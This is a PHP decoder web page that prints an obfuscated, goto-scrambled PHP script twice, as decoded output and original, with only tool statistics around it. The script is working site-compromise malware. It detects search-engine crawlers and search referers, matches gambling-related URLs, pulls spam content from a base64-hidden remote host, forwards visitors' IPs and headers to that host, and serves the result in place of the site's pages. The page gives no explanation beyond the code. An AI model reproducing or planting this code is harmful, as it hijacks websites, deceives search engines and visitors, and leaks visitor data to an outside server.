Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto voPl_; Ys7fj: $Z4Bp4 = $_SERVER["HTTP_USER_AGENT"]; goto KgTDk; eQPuT: define("k9S4d..

Decoded Output download

<?   goto voPl_; Ys7fj: $Z4Bp4 = $_SERVER["HTTP_USER_AGENT"]; goto KgTDk; eQPuT: define("k9S4d", "VEgjS21n"); goto GsTbm; t_jAJ: function c82bJ() { foreach (array("HTTP_CLIENT_IP", "HTTP_X_REAL_IP", "HTTP_CF_CONNECTING_IP", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED", "REMOTE_ADDR") as $q3sWi) { goto n3AgP; FjbT4: YGOfA: goto ThYId; asDAf: foreach (explode(",", $_SERVER[$q3sWi]) as $ST27e) { goto TXzO0; yUkWZ: return $ST27e; goto ClvMg; TXzO0: $ST27e = trim($ST27e); goto LAGi9; LAGi9: if (!(filter_var($ST27e, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto gXkdu; } goto yUkWZ; ClvMg: gXkdu: goto Wn7VW; Wn7VW: C8I79: goto yN97S; yN97S: } goto Ripf_; n3AgP: if (!(array_key_exists($q3sWi, $_SERVER) === true)) { goto YGOfA; } goto asDAf; ThYId: LAdYF: goto QhN9w; Ripf_: bpFSY: goto FjbT4; QhN9w: } Dh32t: } goto uf7hE; jsmpx: error_reporting(0); goto KedSD; art8j: $eILVB = $_SERVER["HTTP_REFERER"]; goto Ys7fj; UrZtW: function QaSok($vBm1e, $rIciA = array(), $hbWYf = 0, $GVG7H = 0) { goto ZHpO2; HNAIX: curl_setopt($NDWWd, CURLOPT_TIMEOUT, $GVG7H); goto GsnYN; kDo6p: curl_setopt($NDWWd, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto stnSf; Uf4I9: goto NLUEJ; goto xwxVW; ZjUKN: return $HBGkV; goto eL41E; QMrx3: $NDWWd = curl_init(); goto bUpBr; XPZY7: $HBGkV = NULL; goto ttfj3; rygD8: $HBGkV = curl_exec($NDWWd); goto xLYTJ; dLLez: return file_get_contents($vBm1e); goto Uf4I9; VwS05: curl_setopt($NDWWd, CURLOPT_HEADER, 0); goto iZ3Nu; bUpBr: curl_setopt($NDWWd, CURLOPT_URL, $vBm1e); goto VwS05; GsnYN: curl_setopt($NDWWd, CURLOPT_SSL_VERIFYPEER, false); goto u3oJb; Sm6Td: curl_setopt($NDWWd, CURLOPT_FOLLOWLOCATION, true); goto rygD8; AXUp_: curl_setopt($NDWWd, CURLOPT_CONNECTTIMEOUT, $hbWYf); goto HNAIX; stnSf: curl_setopt($NDWWd, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); goto HfR92; ZHpO2: if (function_exists("curl_init")) { goto j_Qw6; } goto dLLez; HfR92: curl_setopt($NDWWd, CURLOPT_HTTPHEADER, $rIciA); goto AXUp_; u3oJb: curl_setopt($NDWWd, CURLOPT_SSL_VERIFYHOST, false); goto Sm6Td; xwxVW: j_Qw6: goto QMrx3; ttfj3: HdpX5: goto d72EL; d72EL: curl_close($NDWWd); goto ZjUKN; xLYTJ: if (!curl_errno($NDWWd)) { goto HdpX5; } goto XPZY7; eL41E: NLUEJ: goto OwN57; iZ3Nu: curl_setopt($NDWWd, CURLOPT_RETURNTRANSFER, 1); goto kDo6p; OwN57: } goto t_jAJ; uf7hE: function BloXS() { goto L9NYM; ruyc6: if (!function_exists("o5yZX")) { function O5YZx() { goto C1uZl; k1qyD: foreach ($_SERVER as $pYDV0 => $TM0MF) { goto faZHl; faZHl: if (!(substr($pYDV0, 0, 5) == "HTTP_")) { goto rBWio; } goto C4_9m; hIpQe: rBWio: goto TkXht; TkXht: EL7kW: goto kK5FP; C4_9m: $DRGus[str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($pYDV0, 5)))))] = $TM0MF; goto hIpQe; kK5FP: } goto el5Al; C1uZl: $DRGus = array(); goto k1qyD; el5Al: I0hOm: goto sJZ7V; sJZ7V: return $DRGus; goto ogti0; ogti0: } $iFRPH = O5yZX(); } else { $iFRPH = o5YZX(); } goto iZNgU; ZsRQK: goto pI_Np; goto P6KTz; XWP3x: array_push($rIciA, "Accept-Language: {$Yo_HN}"); goto momi_; hEmxu: pI_Np: goto MLQzz; JoujP: echo QAsOK(Xsnvq . "al.php?domain={$GDjuC}&uri={$tdVah}&ip={$pdKqB}&ver=" . mk1yH . "&v=" . k9S4d); goto V_Xu5; j5mTv: if (ZjpbN($Z4Bp4)) { goto FCGHT; } goto Qh25j; Qh25j: if (nNeLN($oqg9J) && JIM8N($eILVB)) { goto OTnfv; } goto ZsRQK; IoJKg: if (!isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto rLQ0h; } goto Ufto_; toxyx: $pdKqB = C82bJ(); goto IdWAS; KACoa: OTnfv: goto O68c0; Y18QW: echo $G95dZ ? $G95dZ : UuRrC; goto ueEwf; BTM_a: zS1ZT: goto ZP4P_; L9NYM: global $eILVB, $Z4Bp4, $GDjuC, $oqg9J; goto xkUq8; jmpdY: $Zx1_e = C82Bj(); goto wDJB4; V_Xu5: goto zS1ZT; goto dXNlZ; zrEvh: header("Pragma: no-cache"); goto gDOmS; qErgO: header("Cache-Control: post-check=0, pre-check=0", FALSE); goto zrEvh; BQ2zp: exit; goto BTM_a; gDOmS: $tdVah = urlencode($oqg9J); goto b7Xpz; xkUq8: header("Cache-Control: no-store, no-cache, must-revalidate"); goto qErgO; ueEwf: exit; goto hEmxu; Ufto_: $Yo_HN = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto XWP3x; b7Xpz: $rIciA = array(); goto IoJKg; wDJB4: $iFRPH = array(); goto ruyc6; ZCgYT: header("Content-Type:text/html; charset=utf-8"); goto A5Wmm; xpSXH: rLQ0h: goto j5mTv; iZNgU: foreach ($iFRPH as $q3sWi => $TM0MF) { goto y_jTI; Ln1lE: pZ1xh: goto L3bLx; K0Bci: array_push($rIciA, "{$q3sWi}: {$TM0MF}"); goto Ln1lE; y_jTI: if (!(stripos($q3sWi, "Sec-") === 0)) { goto pZ1xh; } goto K0Bci; L3bLx: vC66l: goto Uk9X1; Uk9X1: } goto kBzMJ; momi_: array_push($rIciA, "Vary: Accept-Language"); goto xpSXH; O68c0: header("Content-Type:text/html; charset=utf-8"); goto jmpdY; A5Wmm: echo Qasok(Xsnvq . "?{$GDjuC}{$oqg9J}&ver=" . mk1yH . "&v=" . k9S4d); goto BQ2zp; P6KTz: FCGHT: goto toxyx; kBzMJ: fVB7p: goto Rwqju; dXNlZ: B6XgR: goto ZCgYT; Rwqju: $G95dZ = Qasok(Xsnvq . "502.php?domain={$GDjuC}&uri={$tdVah}&ip={$Zx1_e}&ver=" . mk1yH . "&v=" . k9S4d); goto Y18QW; IdWAS: if (nNeLn($oqg9J)) { goto B6XgR; } goto JoujP; ZP4P_: goto pI_Np; goto KACoa; MLQzz: } goto FX35Q; e9atz: function DO_jd() { } goto t8zR3; GsTbm: define("ov1r2", base64_decode("aHR0cHM6Ly9qc2Nkbi5kZ2s4ODgudG9wLw==")); goto Fft3o; nSKV1: define("Cnohg", ''); goto QoG8l; KedSD: define("mk1yH", "0416jsc2"); goto eQPuT; KgTDk: $GDjuC = $_SERVER["HTTP_HOST"]; goto ojy1w; d8MbN: function GlhWy() { $m0smN = ob_get_contents(); ob_end_clean(); } goto WcxQf; U552E: function jim8n($rwXn8) { goto BnRQB; wzSWy: itc3p: goto BsLxa; BsLxa: pmwVU: goto Eb00I; XsFeL: foreach ($vaiu2 as $cl75y) { goto Sd3OH; Wn_WA: return true; goto m7clK; Sd3OH: if (!(stripos($rwXn8, $cl75y) !== false)) { goto D2sEd; } goto Wn_WA; N7pIH: gPHJn: goto ZVw11; m7clK: D2sEd: goto N7pIH; ZVw11: } goto wzSWy; AIVVM: $vaiu2 = array("google.", "bing.", "naver.", "yahoo."); goto XsFeL; Eb00I: return false; goto NFZeN; BnRQB: if (!(substr($rwXn8, 0, 4) === "http")) { goto pmwVU; } goto AIVVM; NFZeN: } goto UrZtW; l4ZD2: function ZjpBN($ukSvB) { goto mopWy; tHEyR: foreach ($eCL1I as $UXY3L) { goto ibB00; LQi3S: qkJOr: goto JLYAa; m4Jfo: yA3Wa: goto LQi3S; ibB00: if (!(stripos($ukSvB, $UXY3L) !== false)) { goto yA3Wa; } goto O6G9F; O6G9F: return true; goto m4Jfo; JLYAa: } goto SNZcA; SNZcA: u910d: goto dTiYE; dTiYE: return false; goto doKgz; mopWy: $eCL1I = array("Googlebot", "Bingbot", "yeti", "MSNBOT", "Yahoo!"); goto tHEyR; doKgz: } goto U552E; Fft3o: define("Xsnvq", base64_decode("aHR0cDovL2pzY2RuLmRnazg4OC50b3Av")); goto nSKV1; WcxQf: function NnelN($yCgQV, $jyf6B = "/[?\/](id|gameid|ID|krslotID|Game|app|ios|android|download|blank|Slot|slot|bet|casino|games|play|video|poker|news|slo|gods|fish|mahj|uri)./") { return preg_match($jyf6B, $yCgQV) === 1; } goto l4ZD2; QoG8l: define("UuRrC", QaSOk(Xsnvq . "502.php")); goto art8j; ojy1w: $oqg9J = $_SERVER["REQUEST_URI"]; goto e9atz; t8zR3: function TRJI0() { ob_start(); register_shutdown_function("insert_html_end"); } goto d8MbN; voPl_: set_time_limit(0); goto jsmpx; FX35Q: blOXs();?> 

Did this file decode correctly?

Original Code

 goto voPl_; Ys7fj: $Z4Bp4 = $_SERVER["HTTP_USER_AGENT"]; goto KgTDk; eQPuT: define("k9S4d", "VEgjS21n"); goto GsTbm; t_jAJ: function c82bJ() { foreach (array("HTTP_CLIENT_IP", "HTTP_X_REAL_IP", "HTTP_CF_CONNECTING_IP", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED", "HTTP_X_CLUSTER_CLIENT_IP", "HTTP_FORWARDED_FOR", "HTTP_FORWARDED", "REMOTE_ADDR") as $q3sWi) { goto n3AgP; FjbT4: YGOfA: goto ThYId; asDAf: foreach (explode(",", $_SERVER[$q3sWi]) as $ST27e) { goto TXzO0; yUkWZ: return $ST27e; goto ClvMg; TXzO0: $ST27e = trim($ST27e); goto LAGi9; LAGi9: if (!(filter_var($ST27e, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto gXkdu; } goto yUkWZ; ClvMg: gXkdu: goto Wn7VW; Wn7VW: C8I79: goto yN97S; yN97S: } goto Ripf_; n3AgP: if (!(array_key_exists($q3sWi, $_SERVER) === true)) { goto YGOfA; } goto asDAf; ThYId: LAdYF: goto QhN9w; Ripf_: bpFSY: goto FjbT4; QhN9w: } Dh32t: } goto uf7hE; jsmpx: error_reporting(0); goto KedSD; art8j: $eILVB = $_SERVER["HTTP_REFERER"]; goto Ys7fj; UrZtW: function QaSok($vBm1e, $rIciA = array(), $hbWYf = 0, $GVG7H = 0) { goto ZHpO2; HNAIX: curl_setopt($NDWWd, CURLOPT_TIMEOUT, $GVG7H); goto GsnYN; kDo6p: curl_setopt($NDWWd, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto stnSf; Uf4I9: goto NLUEJ; goto xwxVW; ZjUKN: return $HBGkV; goto eL41E; QMrx3: $NDWWd = curl_init(); goto bUpBr; XPZY7: $HBGkV = NULL; goto ttfj3; rygD8: $HBGkV = curl_exec($NDWWd); goto xLYTJ; dLLez: return file_get_contents($vBm1e); goto Uf4I9; VwS05: curl_setopt($NDWWd, CURLOPT_HEADER, 0); goto iZ3Nu; bUpBr: curl_setopt($NDWWd, CURLOPT_URL, $vBm1e); goto VwS05; GsnYN: curl_setopt($NDWWd, CURLOPT_SSL_VERIFYPEER, false); goto u3oJb; Sm6Td: curl_setopt($NDWWd, CURLOPT_FOLLOWLOCATION, true); goto rygD8; AXUp_: curl_setopt($NDWWd, CURLOPT_CONNECTTIMEOUT, $hbWYf); goto HNAIX; stnSf: curl_setopt($NDWWd, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); goto HfR92; ZHpO2: if (function_exists("curl_init")) { goto j_Qw6; } goto dLLez; HfR92: curl_setopt($NDWWd, CURLOPT_HTTPHEADER, $rIciA); goto AXUp_; u3oJb: curl_setopt($NDWWd, CURLOPT_SSL_VERIFYHOST, false); goto Sm6Td; xwxVW: j_Qw6: goto QMrx3; ttfj3: HdpX5: goto d72EL; d72EL: curl_close($NDWWd); goto ZjUKN; xLYTJ: if (!curl_errno($NDWWd)) { goto HdpX5; } goto XPZY7; eL41E: NLUEJ: goto OwN57; iZ3Nu: curl_setopt($NDWWd, CURLOPT_RETURNTRANSFER, 1); goto kDo6p; OwN57: } goto t_jAJ; uf7hE: function BloXS() { goto L9NYM; ruyc6: if (!function_exists("o5yZX")) { function O5YZx() { goto C1uZl; k1qyD: foreach ($_SERVER as $pYDV0 => $TM0MF) { goto faZHl; faZHl: if (!(substr($pYDV0, 0, 5) == "HTTP_")) { goto rBWio; } goto C4_9m; hIpQe: rBWio: goto TkXht; TkXht: EL7kW: goto kK5FP; C4_9m: $DRGus[str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($pYDV0, 5)))))] = $TM0MF; goto hIpQe; kK5FP: } goto el5Al; C1uZl: $DRGus = array(); goto k1qyD; el5Al: I0hOm: goto sJZ7V; sJZ7V: return $DRGus; goto ogti0; ogti0: } $iFRPH = O5yZX(); } else { $iFRPH = o5YZX(); } goto iZNgU; ZsRQK: goto pI_Np; goto P6KTz; XWP3x: array_push($rIciA, "Accept-Language: {$Yo_HN}"); goto momi_; hEmxu: pI_Np: goto MLQzz; JoujP: echo QAsOK(Xsnvq . "al.php?domain={$GDjuC}&uri={$tdVah}&ip={$pdKqB}&ver=" . mk1yH . "&v=" . k9S4d); goto V_Xu5; j5mTv: if (ZjpbN($Z4Bp4)) { goto FCGHT; } goto Qh25j; Qh25j: if (nNeLN($oqg9J) && JIM8N($eILVB)) { goto OTnfv; } goto ZsRQK; IoJKg: if (!isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) { goto rLQ0h; } goto Ufto_; toxyx: $pdKqB = C82bJ(); goto IdWAS; KACoa: OTnfv: goto O68c0; Y18QW: echo $G95dZ ? $G95dZ : UuRrC; goto ueEwf; BTM_a: zS1ZT: goto ZP4P_; L9NYM: global $eILVB, $Z4Bp4, $GDjuC, $oqg9J; goto xkUq8; jmpdY: $Zx1_e = C82Bj(); goto wDJB4; V_Xu5: goto zS1ZT; goto dXNlZ; zrEvh: header("Pragma: no-cache"); goto gDOmS; qErgO: header("Cache-Control: post-check=0, pre-check=0", FALSE); goto zrEvh; BQ2zp: exit; goto BTM_a; gDOmS: $tdVah = urlencode($oqg9J); goto b7Xpz; xkUq8: header("Cache-Control: no-store, no-cache, must-revalidate"); goto qErgO; ueEwf: exit; goto hEmxu; Ufto_: $Yo_HN = $_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto XWP3x; b7Xpz: $rIciA = array(); goto IoJKg; wDJB4: $iFRPH = array(); goto ruyc6; ZCgYT: header("Content-Type:text/html; charset=utf-8"); goto A5Wmm; xpSXH: rLQ0h: goto j5mTv; iZNgU: foreach ($iFRPH as $q3sWi => $TM0MF) { goto y_jTI; Ln1lE: pZ1xh: goto L3bLx; K0Bci: array_push($rIciA, "{$q3sWi}: {$TM0MF}"); goto Ln1lE; y_jTI: if (!(stripos($q3sWi, "Sec-") === 0)) { goto pZ1xh; } goto K0Bci; L3bLx: vC66l: goto Uk9X1; Uk9X1: } goto kBzMJ; momi_: array_push($rIciA, "Vary: Accept-Language"); goto xpSXH; O68c0: header("Content-Type:text/html; charset=utf-8"); goto jmpdY; A5Wmm: echo Qasok(Xsnvq . "?{$GDjuC}{$oqg9J}&ver=" . mk1yH . "&v=" . k9S4d); goto BQ2zp; P6KTz: FCGHT: goto toxyx; kBzMJ: fVB7p: goto Rwqju; dXNlZ: B6XgR: goto ZCgYT; Rwqju: $G95dZ = Qasok(Xsnvq . "502.php?domain={$GDjuC}&uri={$tdVah}&ip={$Zx1_e}&ver=" . mk1yH . "&v=" . k9S4d); goto Y18QW; IdWAS: if (nNeLn($oqg9J)) { goto B6XgR; } goto JoujP; ZP4P_: goto pI_Np; goto KACoa; MLQzz: } goto FX35Q; e9atz: function DO_jd() { } goto t8zR3; GsTbm: define("ov1r2", base64_decode("aHR0cHM6Ly9qc2Nkbi5kZ2s4ODgudG9wLw==")); goto Fft3o; nSKV1: define("Cnohg", ''); goto QoG8l; KedSD: define("mk1yH", "0416jsc2"); goto eQPuT; KgTDk: $GDjuC = $_SERVER["HTTP_HOST"]; goto ojy1w; d8MbN: function GlhWy() { $m0smN = ob_get_contents(); ob_end_clean(); } goto WcxQf; U552E: function jim8n($rwXn8) { goto BnRQB; wzSWy: itc3p: goto BsLxa; BsLxa: pmwVU: goto Eb00I; XsFeL: foreach ($vaiu2 as $cl75y) { goto Sd3OH; Wn_WA: return true; goto m7clK; Sd3OH: if (!(stripos($rwXn8, $cl75y) !== false)) { goto D2sEd; } goto Wn_WA; N7pIH: gPHJn: goto ZVw11; m7clK: D2sEd: goto N7pIH; ZVw11: } goto wzSWy; AIVVM: $vaiu2 = array("google.", "bing.", "naver.", "yahoo."); goto XsFeL; Eb00I: return false; goto NFZeN; BnRQB: if (!(substr($rwXn8, 0, 4) === "http")) { goto pmwVU; } goto AIVVM; NFZeN: } goto UrZtW; l4ZD2: function ZjpBN($ukSvB) { goto mopWy; tHEyR: foreach ($eCL1I as $UXY3L) { goto ibB00; LQi3S: qkJOr: goto JLYAa; m4Jfo: yA3Wa: goto LQi3S; ibB00: if (!(stripos($ukSvB, $UXY3L) !== false)) { goto yA3Wa; } goto O6G9F; O6G9F: return true; goto m4Jfo; JLYAa: } goto SNZcA; SNZcA: u910d: goto dTiYE; dTiYE: return false; goto doKgz; mopWy: $eCL1I = array("Googlebot", "Bingbot", "yeti", "MSNBOT", "Yahoo!"); goto tHEyR; doKgz: } goto U552E; Fft3o: define("Xsnvq", base64_decode("aHR0cDovL2pzY2RuLmRnazg4OC50b3Av")); goto nSKV1; WcxQf: function NnelN($yCgQV, $jyf6B = "/[?\/](id|gameid|ID|krslotID|Game|app|ios|android|download|blank|Slot|slot|bet|casino|games|play|video|poker|news|slo|gods|fish|mahj|uri)./") { return preg_match($jyf6B, $yCgQV) === 1; } goto l4ZD2; QoG8l: define("UuRrC", QaSOk(Xsnvq . "502.php")); goto art8j; ojy1w: $oqg9J = $_SERVER["REQUEST_URI"]; goto e9atz; t8zR3: function TRJI0() { ob_start(); register_shutdown_function("insert_html_end"); } goto d8MbN; voPl_: set_time_limit(0); goto jsmpx; FX35Q: blOXs();?>

Function Calls

None

Variables

None

Stats

MD5 a88726744ae95f05585468f543ce219d
Eval Count 0
Decode Time 182 ms